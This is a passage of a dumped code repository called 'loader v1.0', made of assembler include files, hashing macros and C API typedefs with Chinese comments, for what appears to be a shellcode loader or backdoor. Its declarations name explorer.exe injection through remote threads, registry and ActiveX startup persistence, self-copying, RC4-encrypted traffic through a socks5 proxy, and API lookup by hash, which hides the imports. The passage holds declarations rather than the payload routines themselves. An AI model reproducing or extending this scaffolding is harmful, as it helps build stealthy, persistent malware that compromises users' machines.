ip_1,0,port_1,ip_2,0,port_2,0\n\n\tsocks5\t\t\t\t_BOOL\t?\t\t\t\t; 通过socks5连接\n\tsocks5_dns\t\t\t_BYTE\t100\tdup(?)\t\t; socks5服务器地址\n\tsocks5_port\t\t\t_WORD\t?\t\t\t\t; socks5端口\n\tsocks5_user\t\t\t_CHAR\t100\tdup(?)\t\t; socks用户名\n\tsocks5_pass\t\t\t_CHAR\t100\tdup(?)\t\t; socks密码\n\n\trc4_key\t\t\t\t_BYTE\t260\tdup(?)\t\t; rc4_key最大长度为256，且中间不能出现00\n\n\t; rc4 sbox\n\tsend_sbox\t\t\t_BYTE\t256\tdup(?)\n\trecv_sbox\t\t\t_BYTE\t256\tdup(?)\n\n\t; api声明\n\tAPI_DECLARE kernel32,\\\n\t\tLoadLibraryA, GetProcAddress, GetCurrentProcess, CloseHandle, OpenProcess, lstrlenA, lstrlenW, lstrcatW, lstrcpyA, lstrcpyW, lstrcmpiW,\\\n\t\tHeapAlloc, HeapReAlloc, HeapFree, GetProcessHeap, GetModuleHandleA, GetModuleFileNameW, CreateMutexA, GetLastError, Sleep,\\\n\t\tVirtualAllocEx, VirtualFreeEx, WriteProcessMemory, WaitForSingleObject, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW,\\\n\t\tExpandEnvironmentStringsW, CreateProcessW, CreateRemoteThread, GetSystemDirectoryW, GetWindowsDirectoryW, CopyFileW, DeleteFileW\n\n    API_DECLARE ntdll,\\\n\t\tRtlZeroMemory, RtlMoveMemory, RtlCompressBuffer, RtlGetCompressionWorkSpaceSize, RtlDecompressBuffer\n\n    API_DECLARE advapi32,\\\n\t\tOpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegCloseKey\n\n\tAPI_DECLARE ws2_32,\\\n\t\tWSAStartup, WSACleanup, htons, inet_addr, gethostbyname, socket, closesocket, connect, setsockopt, send, recv, select\n\n\textra_data\t\t\t_BYTE\t1024\tdup(?)\t; 为其他shellcode准备\n\n\t; 基础函数,其它shellcode也可以使用, 其中connect_server\n\tBASE_FUNCTION get_proc_from_hash,\\\n\t\trc4_init, rc4_crypt,\\\n\t\talloc_memory, realloc_memory, free_memory, alloc_executable_memory, free_executable_memory,\\\n\t\tcompress, decompress,\\\n\t\twait_buffer, recv_data, send_data,\\\n\t\tconnect_server\t; 这里都是不暴露给vs中使用的\n\n\t; 额外函数\n\tEXTRA_FUNCTION connect_by_socks5,\\\n\t\tinject_to_explorer,\\\n\t\tadd_startup_hklm_x86, add_startup_activex_x86, copy_self_x86, find_process_by_name_x86, inject_to_explorer_code_x86,\\\n\t\tget_kernel32_base_x64, get_ntdll_base_x64, get_proc_from_hash_x64,\\\t; x64与wow64通用\n\t\tadd_startup_hklm_x64, add_startup_activex_x64, copy_self_x64, find_process_by_name_x64, inject_to_explorer_code_x64\nends\n\nBASE_FUNCTION_START = global_data_t.get_proc_from_hash\nEXTRA_FUNCTION_START = global_data_t.connect_by_socks5\n\nstruct packet_header_t\n    random                  _DWORD  ?\n    signature               _DWORD  ?\n    cmd                     _BYTE   ?\n    packet_unpacked_size    _DWORD  ?\n    packet_size             _DWORD  ?\nends\n\nstruct function_data_t\n    save_offset _WORD   ?\n    func_size   _WORD   ?\nends\n\nstruct config_t\n    save_offset _WORD   ?\n    size        _WORD   ?\nends\n\nstruct api_hash_t\n\thash\t\t_DWORD\t?\t; api hash\n\tlib_offset\t_WORD\t?\t; library offset in global_data_t\n\tsave_offset\t_WORD\t?\t; save offset in global_data_t\nends\n\nstruct explorer_thread_param_t\n\tglobal_data\t\t\tglobal_data_t\t?\n\tthread_main\t\t\t_DWORD\t\t\t?\t;为了兼容x64,这两个其实\n\tthread_main_dummy\t_DWORD\t\t\t?\n\tthread_main_size\t_WORD\t\t\t?\nends"
  },
  {
    "path": "loader v1.0/include/useful.inc",
    "content": "pushad_eax\t\tequ (7*4)\npushad_ecx\t\tequ (6*4)\npushad_edx\t\tequ (5*4)\npushad_ebx\t\tequ (4*4)\npushad_esp\t\tequ (3*4)\npushad_ebp\t\tequ (2*4)\npushad_esi\t\tequ (1*4)\npushad_edi\t\tequ (0*4)\n\n; PUSH HASH\nmacro PUSH_HASH v* {\n    common\n        local ..c, ..hash\n        virtual at 0\n            db  `v\n            ..hash = 0\n            repeat $\n                load ..c from $$+%-1\n                ..hash = ..hash * 131 + ..c\n                ..hash = ..hash and 0xffffffff\n            end repeat\n            ..hash = ..hash and 0x7fffffff\n        end virtual\n    common\n        push ..hash\n}\n\n; dd hash\nmacro DD_HASH v* {\n    common\n        local ..c, ..hash\n        virtual at 0\n            db  `v\n            ..hash = 0\n            repeat $\n                load ..c from $$+%-1\n                ..hash = ..hash * 131 + ..c\n                ..hash = ..hash and 0xffffffff\n            end repeat\n            ..hash = ..hash and 0x7fffffff\n        end virtual\n    common\n        dd ..hash   \n}\n\n; 声明hash\nmacro DEFINE_HASH v* {\n    common\n        local ..c, ..hash\n        virtual at 0\n            db  `v\n            ..hash = 0\n            repeat $\n                load ..c from $$+%-1\n                ..hash = ..hash * 131 + ..c\n                ..hash = ..hash and 0xffffffff\n            end repeat\n            ..hash = ..hash and 0x7fffffff\n        end virtual\n    common\n        v#_hash = ..hash\n}\n\n; 拷贝hash到寄存器\nmacro MOV_HASH reg*, v* {\n    common\n        local ..c, ..hash\n        virtual at 0\n            db  `v\n            ..hash = 0\n            repeat $\n                load ..c from $$+%-1\n                ..hash = ..hash * 131 + ..c\n                ..hash = ..hash and 0xffffffff\n            end repeat\n            ..hash = ..hash and 0x7fffffff\n        end virtual\n    common\n        mov reg, ..hash\n}\n\n; 批量声明api hash\nmacro API_HASH_TABLE library, [funcname] {\n\tforward\n\t\tlocal ..c, ..hash\n\t\tvirtual at 0\n\t\t\tdb\t`funcname\n\t\t\t..hash = 0\n\t\t\trepeat $\n\t\t\t\tload ..c from $$+%-1\n\t\t\t\t..hash = ..hash * 131 + ..c\n\t\t\t\t..hash = ..hash and 0xffffffff\n\t\t\tend repeat\n\t\t\t..hash = ..hash and 0x7fffffff\n\t\tend virtual\n\t\tapi_hash_t\t..hash, global_data_t#.#library, global_data_t#.#funcname    \n}\n\nmacro API_HASH_TABLE_END {\n\tcommon\n\t\t_WORD\t0    \n}\n\n; 用于global_data中声明api\nmacro API_DECLARE library, [funcname] {\n    common\n        library     _DWORD  ?\n    forward\n        funcname    _DWORD  ?\n}\n\nmacro PUSH_ANSI_STRING str {\n    common\n        call @F\n        db  str, 0\n        @@:\n}\n\nmacro PUSH_WIDE_STRING str {\n    common\n        call @F\n        du  str, 0\n        @@:\n}\n\n; 基本函数声明\nmacro BASE_FUNCTION [funcname] {\n    common\n        BASE_FUNCTION_COUNT = 0\n    forward\n        funcname    _DWORD  ?\n        BASE_FUNCTION_COUNT = BASE_FUNCTION_COUNT + 1\n}\n\n; 用于global_data中声明额外的函数\n; 为了兼容x64，所有的额外附加函数都被扩充成了qword\n; 不影响x86 code的使用\nmacro EXTRA_FUNCTION [funcname] {\n    common\n        EXTRA_FUNCTION_COUNT = 0\n    forward\n        funcname        _DWORD  ?\n                        _DWORD  ?   ; dummy for x64 code\n        funcname#_size  _WORD   ?\n        EXTRA_FUNCTION_COUNT = EXTRA_FUNCTION_COUNT + 1\n}\n\nmacro FUNCTION_DATA_BEGIN funcname {\n    common\n        function_data_t global_data_t#.#funcname, funcname#_#size\n}\n\nmacro FUNCTION_DATA_END funcname {\n    common\n        funcname#_#size = $ - funcname\n}\n\n; 测试用\nmacro CONFIG_BEGIN name {\n    common\n        config_t global_data_t#.#name, name#_size\n        name##_code_begin:\n}\n\nmacro CONFIG_END name {\n    common\n        name#_size = $ - name##_code_begin\n}\n\nmacro BASE_FUNCTION_TABLE [funcname] {\n    forward\n        local ..delta\n        dw funcname - ..delta\n        ..delta:\n}"
  },
  {
    "path": "loader v1.0/include/utf16.inc",
    "content": "\n; UTF-16\n\nmacro du [arg]\n{\n\t\t\tlocal current,char\n\t\t\tif arg eqtype ''\n\t\t\t\t\tvirtual at 0\n\t\t\t\t\t\tdb\targ\n\t\t\t\t\t\tcount\t=\t$\n\t\t\t\t\tend virtual\n\t\t\t\t\tcurrent\t=\t0\n\t\t\t\t\twhile\tcurrent <\tcount\n\t\t\t\t\t\t\tvirtual\tat\t0\n\t\t\t\t\t\t\t\t\tdb\targ\n\t\t\t\t\t\t\t\t\tload  char  byte from  current\n\t\t\t\t\t\t\t\t\twide=char\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tvirtual at 0\n\t\t\t\t\t\t\t\t\t\t\tfile 'utf16':char*2,2\n\t\t\t\t\t\t\t\t\t\t\tload  char word from 0\n\t\t\t\t\t\t\t\t\tend virtual\n\t\t\t\t\t\t\t\t\tcurrent\t=\tcurrent+1\n\t\t\t\t\t\t\t\t\t\t\tif char <>\t0\n\t\t\t\t\t\t\t\t\t\t\t\t\twide\t=\t\tchar\n\t\t\t\t\t\t\t\t\t\t\t\t\tif current < count\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tload  char byte from current\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\twide=(wide+char)*2\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tvirtual at 0\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tfile 'utf16':wide,2\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tload  wide  word  from 0\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tend virtual\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\twide\t=\t\t0\n\t\t\t\t\t\t\t\t\t\t\t\t\tend if\n\t\t\t\t\t\t\t\t\t\t\t\t\tcurrent\t=\tcurrent\t+\t1\n\t\t\t\t\t\t\t\t\t\t\tend if\n\t\t\t\t\t\t\tend virtual\n\t\t\t\t\t\t\tdw  wide\n\t\t\t\t\tend while\n\t\t\telse\n\t\t\t\t\tdw  arg\n\t\t\tend if\n}\n\nstruc du [args]\n { \n \t\tcommon label . word\n   \tdu args\n   \t.size=$-.\n }\t\t\t\t\t\t\t\t\n\t\t\t\n\t\t"
  },
  {
    "path": "loader v1.0/include/win32_extra.inc",
    "content": "macro typedef [statement*] {\n\tcommon\n\t\t; 匹配基类型以及目标类型\n\t\tmatch gs@base gs@type, statement \\{\n\t\t\t; 遍历目标类型\n\t\t\tirp type, gs@type \\\\{\n\t\t\t\t; 定义struc, 这里参数支持默认值所以不需要额外进行匹配，否则需要 match any, v与 match , v来进行匹配\n\t\t\t\tstruc type [v=?] \\\\\\{\n\t\t\t\t\t\\\\\\common\n\t\t\t\t\t\t.\tgs@base\tv\n\t\t\t\t\\\\\\}\n\t\t\t\t; 定义目标类型macro\n\t\t\t\tmacro type [v=?] \\\\\\{\n\t\t\t\t\t\\\\\\common\n\t\t\t\t\t\tgs@base\tv\n\t\t\t\t\\\\\\}\t\t\n\t\t\t\t; 定义size\n\t\t\t\tvirtual at 0\n\t\t\t\t\tgs@base\t?\n\t\t\t\t\tsizeof.\\\\#type = $\n\t\t\t\tend virtual\n\t\t\t\\\\}\n\t\t\\}\n}\n\ntypedef db _BYTE, _CHAR, _UCHAR, _BOOL\ntypedef dw _WORD, _SHORT, _USHORT, _WCHAR\ntypedef dd _LONG, _ULONG, _DWORD, _HANDLE, _HKEY, _SOCKET, _ULONG_PTR\ntypedef dq _LONGLONG, _ULONGLONG\n\nstruct LUID\n\tLowPart    _DWORD\t?\n\tHighPart\t_LONG\t?\nends\n\nstruct LUID_AND_ATTRIBUTES\n\tLuid\t\tLUID\t\t?\n\tAttributes\t_DWORD\t?\nends\n\nstruct TOKEN_PRIVILEGES\n\tPrivilegeCount\t_DWORD\t?\n\tPrivileges\t\tLUID_AND_ATTRIBUTES\t?\nends\n\nstruct IMAGE_DOS_HEADER\n\te_magic\t\t_WORD\t?\n\te_cblp\t\t_WORD\t?\n\te_cp\t\t\t_WORD\t?\n\te_crlc\t\t_WORD\t?\n\te_cparhdr\t\t_WORD\t?\n\te_minalloc\t_WORD\t?\n\te_maxalloc\t_WORD\t?\n\te_ss\t\t\t_WORD\t?\n\te_sp\t\t\t_WORD\t?\n\te_csum\t\t_WORD\t?\n\te_ip\t\t\t_WORD\t?\n\te_cs\t\t\t_WORD\t?\n\te_lfarlc\t\t_WORD\t?\n\te_ovno\t\t_WORD\t?\n\te_res\t\t_WORD\t4\tdup(?)\n\te_oemid\t\t_WORD\t?\n\te_oeminfo\t\t_WORD\t?\n\te_res2\t\t_WORD\t10\tdup(?)\n\te_lfanew\t\t_LONG\t?\nends\n\nstruct IMAGE_FILE_HEADER\n\tMachine                 _WORD    \t\t?\n\tNumberOfSections        _WORD    \t\t?\n\tTimeDateStamp           _DWORD   \t\t?\n\tPointerToSymbolTable    _DWORD   \t\t?\n\tNumberOfSymbols         _DWORD   \t\t?\n\tSizeOfOptionalHeader    _WORD    \t\t?\n\tCharacteristics         _WORD    \t\t?\nends\n\nstruct IMAGE_DATA_DIRECTORY\n    VirtualAddress\t\t_DWORD\t?\n    Size\t\t_DWORD\t?\nends\n\nstruct IMAGE_OPTIONAL_HEADER64\n\tMagic                             _WORD         ?\n\tMajorLinkerVersion                _BYTE         ?\n\tMinorLinkerVersion                _BYTE         ?\n\tSizeOfCode                        _DWORD        ?\n\tSizeOfInitializedData             _DWORD        ?\n\tSizeOfUninitializedData           _DWORD        ?\n\tAddressOfEntryPoint               _DWORD        ?\n\tBaseOfCode                        _DWORD        ?\n\tImageBase                         _ULONGLONG    ?\n\tSectionAlignment                  _DWORD        ?\n\tFileAlignment                     _DWORD        ?\n\tMajorOperatingSystemVersion       _WORD         ?\n\tMinorOperatingSystemVersion       _WORD         ?\n\tMajorImageVersion                 _WORD         ?\n\tMinorImageVersion                 _WORD         ?\n\tMajorSubsystemVersion             _WORD         ?\n\tMinorSubsystemVersion             _WORD         ?\n\tWin32VersionValue                 _DWORD        ?\n\tSizeOfImage                       _DWORD        ?\n\tSizeOfHeaders                     _DWORD        ?\n\tCheckSum                          _DWORD        ?\n\tSubsystem                         _WORD         ?\n\tDllCharacteristics                _WORD         ?\n\tSizeOfStackReserve                _ULONGLONG    ?\n\tSizeOfStackCommit                 _ULONGLONG    ?\n\tSizeOfHeapReserve                 _ULONGLONG    ?\n\tSizeOfHeapCommit                  _ULONGLONG    ?\n\tLoaderFlags                       _DWORD        ?\n\tNumberOfRvaAndSizes               _DWORD        ?\n\tIMAGE_DIRECTORY_ENTRY_EXPORT         IMAGE_DATA_DIRECTORY\t?\n\tIMAGE_DIRECTORY_ENTRY_IMPORT         IMAGE_DATA_DIRECTORY\t?\n\tIMAGE_DIRECTORY_ENTRY_RESOURCE       IMAGE_DATA_DIRECTORY\t?\n\tIMAGE_DIRECTORY_ENTRY_EXCEPTION      IMAGE_DATA_DIRECTORY\t?\n\tIMAGE_DIRECTORY_ENTRY_SECURITY       IMAGE_DATA_DIRECTORY\t?\n\tIMAGE_DIRECTORY_ENTRY_BASERELOC      IMAGE_DATA_DIRECTORY\t?\n\tIMAGE_DIRECTORY_ENTRY_DEBUG          IMAGE_DATA_DIRECTORY\t?\n\tIMAGE_DIRECTORY_ENTRY_COPYRIGHT      IMAGE_DATA_DIRECTORY\t?\n\tIMAGE_DIRECTORY_ENTRY_ARCHITECTURE   IMAGE_DATA_DIRECTORY\t?\n\tIMAGE_DIRECTORY_ENTRY_GLOBALPTR      IMAGE_DATA_DIRECTORY\t?\n\tIMAGE_DIRECTORY_ENTRY_TLS            IMAGE_DATA_DIRECTORY\t?\n\tIMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    IMAGE_DATA_DIRECTORY\t?\n\tIMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   IMAGE_DATA_DIRECTORY\t?\n\tIMAGE_DIRECTORY_ENTRY_IAT            IMAGE_DATA_DIRECTORY\t?\n\tIMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   IMAGE_DATA_DIRECTORY\t?\n\tIMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR IMAGE_DATA_DIRECTORY\t?\nends\n\nstruct IMAGE_NT_HEADERS64\n\tSignature\t_DWORD\t?\n\tFileHeader\tIMAGE_FILE_HEADER\t?\n\tOptionalHeader\tIMAGE_OPTIONAL_HEADER64\t?\nends\n\nstruct IMAGE_EXPORT_DIRECTORY\n\tCharacteristics           _DWORD       ?\n\tTimeDateStamp             _DWORD       ?\n\tMajorVersion              _WORD        ?\n\tMinorVersion              _WORD        ?\n\tName                      _DWORD       ?\n\tBase                      _DWORD       ?\n\tNumberOfFunctions         _DWORD       ?\n\tNumberOfNames             _DWORD       ?\n\tAddressOfFunctions        _DWORD       ?\n\tAddressOfNames            _DWORD       ?\n\tAddressOfNameOrdinals     _DWORD       ?\nends\n\nstruct PROCESSENTRY32W\n    dwSize              _DWORD  ?\n    cntUsage            _DWORD  ?\n    th32ProcessID       _DWORD  ?\n    th32DefaultHeapID   _ULONG_PTR  ?\n    th32ModuleID        _DWORD  ?\n    cntThreads          _DWORD  ?\n    th32ParentProcessID _DWORD  ?\n    pcPriClassBase      _LONG   ?\n    dwFlags             _DWORD  ?\n    szExeFile           _WCHAR      260 dup(?)\nends\n\nstruct FD_SET\n    fd_count    _DWORD  ?\n    fd_array    _SOCKET  64 dup(?) \nends\n\nstruct TIMEVAL\n    tv_sec  _LONG   ?\n    tv_usec _LONG   ?\nends\n\nTOKEN_ADJUST_PRIVILEGES = 0x0020\nTOKEN_QUERY = 0x0008\nSE_PRIVILEGE_ENABLED = 0x00000002\n\ntrue = 1\nfalse = 0\n\nSOCKET_ERROR = -1\nINADDR_NONE = 0xffffffff\n\nSOL_SOCKET = 0xffff\nSO_RCVBUF = 0x1002\nSO_RCVTIMEO = 0x1006\nSO_SNDTIMEO = 0x1005\nCOMPRESSION_FORMAT_LZNT1 = 0x0002\nCOMPRESSION_ENGINE_STANDARD = 0x0000\nERROR_ALREADY_EXISTS = 183\n\n\nTH32CS_SNAPHEAPLIST = 0x00000001\nTH32CS_SNAPPROCESS  = 0x00000002\nTH32CS_SNAPTHREAD   = 0x00000004\nTH32CS_SNAPMODULE   = 0x00000008\nTH32CS_SNAPMODULE32 = 0x00000010\nTH32CS_SNAPALL      = TH32CS_SNAPHEAPLIST or TH32CS_SNAPPROCESS or TH32CS_SNAPTHREAD or TH32CS_SNAPMODULE\nTH32CS_INHERIT      = 0x80000000"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/ReadMe.txt",
    "content": "﻿========================================================================\n    控制台应用程序：loader_function 项目概述\n========================================================================\n\n应用程序向导已为您创建了此 loader_function 应用程序。\n\n本文件概要介绍组成 loader_function 应用程序的每个文件的内容。\n\n\nloader_function.vcxproj\n    这是使用应用程序向导生成的 VC++ 项目的主项目文件，其中包含生成该文件的 Visual C++ 的版本信息，以及有关使用应用程序向导选择的平台、配置和项目功能的信息。\n\nloader_function.vcxproj.filters\n    这是使用“应用程序向导”生成的 VC++ 项目筛选器文件。它包含有关项目文件与筛选器之间的关联信息。在 IDE 中，通过这种关联，在特定节点下以分组形式显示具有相似扩展名的文件。例如，“.cpp”文件与“源文件”筛选器关联。\n\nloader_function.cpp\n    这是主应用程序源文件。\n\n/////////////////////////////////////////////////////////////////////////////\n其他标准文件:\n\nStdAfx.h, StdAfx.cpp\n    这些文件用于生成名为 loader_function.pch 的预编译头 (PCH) 文件和名为 StdAfx.obj 的预编译类型文件。\n\n/////////////////////////////////////////////////////////////////////////////\n其他注释:\n\n应用程序向导使用“TODO:”注释来指示应添加或自定义的源代码部分。\n\n/////////////////////////////////////////////////////////////////////////////\n"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/apis.inc",
    "content": "typedef HMODULE(WINAPI *_LoadLibraryA)(__in LPCSTR lpLibFileName);\ntypedef HMODULE(WINAPI *_LoadLibraryW)(__in LPCWSTR lpLibFileName);\ntypedef PROC(WINAPI *_GetProcAddress)(__in HMODULE hModule,\n                                      __in LPCSTR lpProcName);\ntypedef HANDLE(WINAPI *_GetCurrentProcess)(VOID);\ntypedef BOOL(WINAPI *_CloseHandle)(__in HANDLE hObject);\ntypedef HANDLE(WINAPI *_OpenProcess)(__in DWORD dwDesiredAccess,\n                                     __in BOOL bInheritHandle,\n                                     __in DWORD dwProcessId);\ntypedef int(WINAPI *_lstrlenA)(__in LPCSTR lpString);\ntypedef int(WINAPI *_lstrlenW)(__in LPCWSTR lpString);\ntypedef int(WINAPI *_lstrcmpiW)(__in LPCWSTR lpString1, __in LPCWSTR lpString2);\ntypedef LPVOID(WINAPI *_HeapAlloc)(__in HANDLE hHeap, __in DWORD dwFlags,\n                                   __in SIZE_T dwBytes);\ntypedef LPVOID(WINAPI *_HeapReAlloc)(__inout HANDLE hHeap, __in DWORD dwFlags,\n                                     __deref LPVOID lpMem, __in SIZE_T dwBytes);\ntypedef BOOL(WINAPI *_HeapFree)(__inout HANDLE hHeap, __in DWORD dwFlags,\n                                __drv_freesMem(Mem)\n                                    __post __notvalid __deref LPVOID lpMem);\ntypedef HANDLE(WINAPI *_GetProcessHeap)(VOID);\ntypedef HMODULE(WINAPI *_GetModuleHandleA)(__in LPCSTR lpModuleName);\ntypedef DWORD(WINAPI *_GetModuleFileNameW)(__in HMODULE hModule,\n                                           LPWSTR lpFilename, __in DWORD nSize);\ntypedef HANDLE(WINAPI *_CreateMutexA)(\n    __in LPSECURITY_ATTRIBUTES lpMutexAttributes, __in BOOL bInitialOwner,\n    __in LPCSTR lpName);\ntypedef DWORD(WINAPI *_GetLastError)(VOID);\ntypedef VOID(WINAPI *_Sleep)(__in DWORD dwMilliseconds);\ntypedef LPVOID(WINAPI *_VirtualAllocEx)(__in HANDLE hProcess,\n                                        __in LPVOID lpAddress,\n                                        __in SIZE_T dwSize,\n                                        __in DWORD flAllocationType,\n                                        __in DWORD flProtect);\ntypedef BOOL(WINAPI *_VirtualFreeEx)(__in HANDLE hProcess,\n                                     __in LPVOID lpAddress, __in SIZE_T dwSize,\n                                     __in DWORD dwFreeType);\ntypedef BOOL(WINAPI *_WriteProcessMemory)(__in HANDLE hProcess,\n                                          __in LPVOID lpBaseAddress,\n                                          __in_bcount(nSize) LPCVOID lpBuffer,\n                                          __in SIZE_T nSize,\n                                          SIZE_T *lpNumberOfBytesWritten);\ntypedef DWORD(WINAPI *_WaitForSingleObject)(__in HANDLE hHandle,\n                                            __in DWORD dwMilliseconds);\ntypedef HANDLE(WINAPI *_CreateToolhelp32Snapshot)(DWORD dwFlags,\n                                                  DWORD th32ProcessID);\ntypedef BOOL(WINAPI *_Process32FirstW)(HANDLE hSnapshot,\n                                       LPPROCESSENTRY32W lppe);\ntypedef BOOL(WINAPI *_Process32NextW)(HANDLE hSnapshot, LPPROCESSENTRY32W lppe);\ntypedef DWORD(WINAPI *_ExpandEnvironmentStringsW)(__in LPCWSTR lpSrc,\n                                                  LPWSTR lpDst,\n                                                  __in DWORD nSize);\ntypedef BOOL(WINAPI *_CreateProcessW)(\n    __in LPCWSTR lpApplicationName, __inout LPWSTR lpCommandLine,\n    __in LPSECURITY_ATTRIBUTES lpProcessAttributes,\n    __in LPSECURITY_ATTRIBUTES lpThreadAttributes, __in BOOL bInheritHandles,\n    __in DWORD dwCreationFlags, __in LPVOID lpEnvironment,\n    __in LPCWSTR lpCurrentDirectory, __in LPSTARTUPINFOW lpStartupInfo,\n    LPPROCESS_INFORMATION lpProcessInformation);\ntypedef HANDLE(WINAPI *_CreateRemoteThread)(\n    __in HANDLE hProcess, __in LPSECURITY_ATTRIBUTES lpThreadAttributes,\n    __in SIZE_T dwStackSize, __in LPTHREAD_START_ROUTINE lpStartAddress,\n    __in LPVOID lpParameter, __in DWORD dwCreationFlags, LPDWORD lpThreadId);\ntypedef VOID(WINAPI *_RtlZeroMemory)(IN VOID UNALIGNED *Destination,\n                                     IN SIZE_T Length);\ntypedef VOID(WINAPI *_RtlMoveMemory)(IN VOID UNALIGNED *Destination,\n                                     IN CONST VOID UNALIGNED *Source,\n                                     IN SIZE_T Length);\ntypedef NTSTATUS(WINAPI *_RtlCompressBuffer)(\n    USHORT CompressionFormatAndEngine, PUCHAR UncompressedBuffer,\n    ULONG UncompressedBufferSize, PUCHAR CompressedBuffer,\n    ULONG CompressedBufferSize, ULONG UncompressedChunkSize,\n    PULONG FinalCompressedSize, PVOID WorkSpace);\ntypedef NTSTATUS(WINAPI *_RtlGetCompressionWorkSpaceSize)(\n    USHORT CompressionFormatAndEngine, PULONG CompressBufferWorkSpaceSize,\n    PULONG CompressFragmentWorkSpaceSize);\ntypedef NTSTATUS(WINAPI *_RtlDecompressBuffer)(USHORT CompressionFormat,\n                                               PUCHAR UncompressedBuffer,\n                                               ULONG UncompressedBufferSize,\n                                               PUCHAR CompressedBuffer,\n                                               ULONG CompressedBufferSize,\n                                               PULONG FinalUncompressedSize);\ntypedef BOOL(WINAPI *_OpenProcessToken)(__in HANDLE ProcessHandle,\n                                        __in DWORD DesiredAccess,\n                                        __deref_out PHANDLE TokenHandle);\ntypedef BOOL(WINAPI *_LookupPrivilegeValueA)(__in LPCSTR lpSystemName,\n                                             __in LPCSTR lpName, PLUID lpLuid);\ntypedef BOOL(WINAPI *_AdjustTokenPrivileges)(__in HANDLE TokenHandle,\n                                             __in BOOL DisableAllPrivileges,\n                                             __in PTOKEN_PRIVILEGES NewState,\n                                             __in DWORD BufferLength,\n                                             PTOKEN_PRIVILEGES PreviousState,\n                                             PDWORD ReturnLength);\ntypedef LSTATUS(APIENTRY *_RegOpenKeyExA)(__in HKEY hKey, __in LPCSTR lpSubKey,\n                                          __in DWORD ulOptions,\n                                          __in REGSAM samDesired,\n                                          PHKEY phkResult);\ntypedef LSTATUS(APIENTRY *_RegCreateKeyExW)(\n    __in HKEY hKey, __in LPCWSTR lpSubKey, __reserved DWORD Reserved,\n    __in LPWSTR lpClass, __in DWORD dwOptions, __in REGSAM samDesired,\n    __in CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult,\n    LPDWORD lpdwDisposition);\ntypedef LSTATUS(APIENTRY *_RegSetValueExW)(\n    __in HKEY hKey, __in LPCWSTR lpValueName, __reserved DWORD Reserved,\n    __in DWORD dwType, __in_bcount(cbData) CONST BYTE *lpData,\n    __in DWORD cbData);\ntypedef LSTATUS(APIENTRY *_RegQueryValueExW)(__in HKEY hKey,\n                                             __in LPCWSTR lpValueName,\n                                             __reserved LPDWORD lpReserved,\n                                             LPDWORD lpType, LPBYTE lpData,\n                                             __inout LPDWORD lpcbData);\ntypedef LSTATUS(APIENTRY *_RegCloseKey)(__in HKEY hKey);\ntypedef int(PASCAL *_WSAStartup)(__in WORD wVersionRequired,\n                                 LPWSADATA lpWSAData);\ntypedef int(PASCAL *_WSACleanup)(void);\ntypedef u_short(PASCAL *_htons)(__in u_short hostshort);\ntypedef u_long(PASCAL *_inet_addr)(__in const char *cp);\ntypedef struct hostent *(PASCAL *_gethostbyname)(__in_z const char *name);\ntypedef SOCKET(PASCAL *_socket)(__in int af, __in int type, __in int protocol);\ntypedef int(PASCAL *_closesocket)(IN SOCKET s);\ntypedef int(PASCAL *_connect)(__in SOCKET s,\n                              __in_bcount(namelen) const struct sockaddr *name,\n                              __in int namelen);\ntypedef int(PASCAL *_setsockopt)(__in SOCKET s, __in int level,\n                                 __in int optname,\n                                 __in_bcount(optlen) const char *optval,\n                                 __in int optlen);\ntypedef int(PASCAL *_send)(__in SOCKET s, __in_bcount(len) const char *buf,\n                           __in int len, __in int flags);\ntypedef int(PASCAL *_recv)(__in SOCKET s, char *buf, __in int len,\n                           __in int flags);\ntypedef int(PASCAL *_select)(__in int nfds, __inout fd_set *readfds,\n                             __inout fd_set *writefds,\n                             __inout fd_set *exceptfds,\n                             __in const struct timeval *timeout);\ntypedef LPWSTR(WINAPI *_lstrcpyW)(LPWSTR lpString1, LPCWSTR lpString2);\ntypedef LPSTR(WINAPI *_lstrcpyA)(LPSTR lpString1, LPCSTR lpString2);\ntypedef int(WINAPI *_MessageBoxA)(__in_opt HWND hWnd, __in_opt LPCSTR lpText,\n                                  __in_opt LPCSTR lpCaption, __in UINT uType);\ntypedef int(WINAPI *_WideCharToMultiByte)(\n    __in UINT CodePage, __in DWORD dwFlags,\n    __in_ecount(cchWideChar) LPCWSTR lpWideCharStr, __in int cchWideChar,\n    __out_bcount_opt(cbMultiByte) __transfer(lpWideCharStr)\n        LPSTR lpMultiByteStr,\n    __in int cbMultiByte, __in_opt LPCSTR lpDefaultChar,\n    __out_opt LPBOOL lpUsedDefaultChar);\ntypedef DWORD(WINAPI *_GetTickCount)(VOID);\n\ntypedef int(PASCAL *_gethostname)(__out_bcount_part(namelen,\n                                                    return ) char FAR *name,\n                                  __in int namelen);\ntypedef char *(PASCAL *_inet_ntoa)(__in struct in_addr in);\ntypedef UINT(WINAPI *_GetSystemDirectoryA)(\n    __out_ecount_part_opt(uSize, return +1) LPSTR lpBuffer, __in UINT uSize);\ntypedef UINT(WINAPI *_GetSystemDirectoryW)(\n    __out_ecount_part_opt(uSize, return +1) LPWSTR lpBuffer, __in UINT uSize);\ntypedef DWORD(APIENTRY *_GetFileVersionInfoSizeA)(\n    __in LPCSTR lptstrFilename,  /* Filename of version stamped file */\n    __out_opt LPDWORD lpdwHandle /* Information for use by GetFileVersionInfo */\n);\ntypedef BOOL(APIENTRY *_GetFileVersionInfoA)(\n    __in LPCSTR lptstrFilename,       /* Filename of version stamped file */\n    __reserved DWORD dwHandle,        /* Information from GetFileVersionSize */\n    __in DWORD dwLen,                 /* Length of buffer 